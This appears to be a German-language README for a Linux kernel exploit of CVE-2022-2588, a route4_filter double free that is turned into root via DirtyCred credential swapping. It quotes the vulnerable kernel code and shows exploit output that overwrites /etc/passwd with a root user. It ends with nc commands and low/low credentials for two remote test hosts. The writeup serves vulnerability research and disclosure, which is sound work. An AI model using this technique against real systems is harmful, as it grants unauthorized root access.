
Ausführliche Beschreibung und Exploit-Code für CVE-2022-2588, eine Use-After-Free-Schwachstelle im Linux-Kernel in route4_change, die über Double-Free und Credential-Swapping zu Privilegieneskalation führt.
Der Fehler wurde in Linux v5.19 durch diesen Commit behoben.
Der Fehler wurde in Linux v3.17 durch diesen Commit aus dem Jahr 2014 eingeführt. Zum Auslösen werden User Namespaces benötigt. Dieser Fehler ist CVE-2021-3715 sehr ähnlich, der durch eine fehlerhafte Operation an der verketteten Liste von route4_filter verursacht wurde. Weitere Details zu CVE-2021-3715 finden sich im Blackhat-Vortrag (Seite 16). Im Folgenden einige kurze Details zu CVE-2022-2588.
Im Folgenden sind einige wichtige Codeausschnitte der Funktion route4_change zum Verständnis von CVE-2022-2588 dargestellt.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
Die Funktion dient zum Initialisieren/Ersetzen eines route4_filter-Objekts. Der Filter verwendet handle als eindeutige ID, um zwischen den einzelnen Filtern zu unterscheiden. Falls ein bereits initialisierter Handle existiert (d.h. die Variable fold ist nicht null), wird der Filter durch Entfernen des alten und Hinzufügen eines neuen Filters aktualisiert; andernfalls wird einfach ein neuer Filter hinzugefügt.
In [0] reserviert der Kernel das route4_filter-Objekt. In [1] wird, falls fold nicht leer ist (was bedeutet, dass ein Filter mit demselben Handle existiert), einige Informationen in den neuen Filter kopiert und dieser in [2] initialisiert. Anschließend wird der neue Filter in [3] in die Liste eingefügt. Falls der alte Filter existiert, wird er in [4] aus der Liste entfernt und in [6] freigegeben.
Der Fehler tritt in [4] auf, wo geprüft wird, ob ein alter Filter zum Entfernen existiert. Die Bedingung stellt sicher, dass der Handle nicht Null sein darf und mit dem Handle des neuen Filters übereinstimmen muss. Diese Bedingung stimmt nicht mit der Bedingung zum Freigeben des Filters in [6] überein, die lediglich prüft, ob der alte Filter existiert. Wenn ein Benutzer daher einen Filter mit dem Handle 0 erstellt und dann dessen Ersetzung auslöst, wird der Filter in [4] nicht ausgeklinkt, aber in [6] freigegeben, da die Bedingungen nicht identisch sind.
Da dieser Fehler CVE-2021-3715 ähnelt, sind ihre Primitive nahezu identisch. Leser können für eine detailliertere Beschreibung der Primitive auf den Blackhat-Vortrag verwiesen werden. Diese Anleitung zeigt die Ausnutzung mit der Idee von DirtyCred.
Da das freigegebene fold nach dem Auslösen des Fehlers immer noch in der verketteten Liste ist, können wir fold erneut freigeben, was letztendlich zu einem Double-Free des route4_filter-Objekts und des route4_filter->exts.action-Objekts führt, falls CONFIG_NET_CLS_ACT aktiviert ist.
Der Exploit-Code nutzt diese beiden Double-Free-Fähigkeiten, um den Angriff auf Task-Berechtigungen (unter Verwendung von kmalloc-192 Double-Free, folgt in Kürze) und Open-File-Berechtigungen (unter Verwendung von kmalloc-256 Double-Free) zu demonstrieren.
Der Exploit-Code tauscht gemäß der Idee von DirtyCred die Dateiberechtigungen nach den Berechtigungsprüfungen aus, sodass wir beliebigen Inhalt in Dateien mit Leseberechtigung schreiben können. Idealerweise sollte der Code auf allen von dem Fehler betroffenen Kernelversionen funktionieren. Es ist zu beachten, dass der Exploit ein anderes Spray-Objekt verwendet, um sicherzustellen, dass der Code auf älteren Kerneln funktioniert, in denen msg_msg in kmalloc-rcl-* isoliert ist.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
Der Exploit wurde so geschrieben, dass er auf so vielen Distributionen wie möglich funktioniert. Er wurde für folgende Systeme bestätigt:
(Bitte senden Sie gerne einen PR, um dies zu aktualisieren, falls Sie feststellen, dass es auf anderen Kerneln funktioniert.)
Bitte melden Sie sich mit dem Benutzer low und dem Passwort low an.
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338